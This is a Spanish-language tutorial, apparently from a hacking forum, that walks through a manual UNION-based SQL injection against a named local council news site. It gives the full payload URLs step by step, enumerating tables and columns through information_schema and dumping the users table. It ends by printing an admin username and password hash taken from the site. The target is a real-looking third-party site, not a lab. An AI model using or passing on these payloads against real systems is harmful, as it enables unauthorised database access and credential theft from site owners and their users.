Bueno soy Morenako-Matabarras y les voy a explicar como se realiza un ataque de Sql injecion manualmente.
En primer lugar vamos a la web a la que vamos a realizar la injección.
http://mostalocalcouncil.com/readnews.php?id=
En mi caso está.
Existe varios comentarios, /* -- #
ya que puede ser que con un comentario funcione y otro no.
y varias formas de realizarla, yo les explicare de una forma sencilla
Miraremos aver si es vulnerable facilmente con la tipica comilla simple.
Vemos que nos da el error así que empezemos.
Empezaremos con un - y una id de noticia el 1
y uniremos ya con +union+select+ o simplemente union select o /**/union/**/select/**/0
Hay diversas formas, con diversos comentarios, bueno.
Ahora lo que tenemos que hacer es añadir números hasta que nos desaparezca el error
Vale a partir de 4 nos ha desaparecido el error.
Entonces, ahora es cuando vamos a buscar las tablas de las basesdedatos.
Lo que haremos sera sustutir por uno de esos números por group_concat(table_name)
Una vez echo eso añadimos al final
+from+information_schema.tables -- - , ya que esto no es a ciegas
utilizamos el comentario -- o -- - al final de la consulta.
Vale aqui nos muestra todas las tablas, para mi la más importante y primera a mirar sera users, una cosa he de decirles
Quizas al sustituir el group_concat(table_name) por otro numero, no aparece nada por ejemplo
Por el 0 no nos aparece nada, si cambiamos el 1 por group_concat(table_name) si y si cambiamos el 2 también, es ir probando.
Bueno ya tenemos la tabla users que queremos mirar, así que vamos a transformar
http://mostalocalcouncil.com/readnews.php
?id=-1+union+select+0,1,group_concat(table_name),3,4+from+information_schema.tables -- -117,115,101,114,115
ahora esto lo ponemos por ,.
Vale, la injeccion de momento la tenemos así
http://mostalocalcouncil.com/readnews.php
?id=-1+union+select+0,1,group_concat(table_name),3,4+from+information_schema.tables -- -
Ahora lo que haremos es cambiar en group_concat(table_name) por group_concat(column_name)
y information_schema.tables por information_schema.columns y añadiremos
http://mostalocalcouncil.com/readnews.php?id=-1+union+select+0,1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=char(117,115,101,114,115) -- -
Y aparte de cambiar eso, hemos añadido +where+table_name=char(aqui el codigo en ascii value que nos dio separado por comillas) -- -
Nos da varias columnas
yo mirare la de username y password
Asi que modificamos la consulta. y en group_concat(colum_name)
Column_name lo cambiamos por las columnas que queremos mirar separandolas por una coma y quitamos todo apartir de information_schema poniendo simplemente el nombre de la tabla, que miramos anteriormente que era USERS
http://mostalocalcouncil.com/readnews.php?id=-1+union+select+0,1,group_concat(username,password),3,4+from+users -- -
admin 68b752263e82b3b1ee1ffe739ee0eec1
Y ya tenemos el usuario y hash de la contraseña
Si queremos miramos el email tambien, y la id
vemos que su id es 2
Bueno,espero que les aña servido el tutorial y lo hayan entendido
Un cordial saludo
Morenako,Matabarras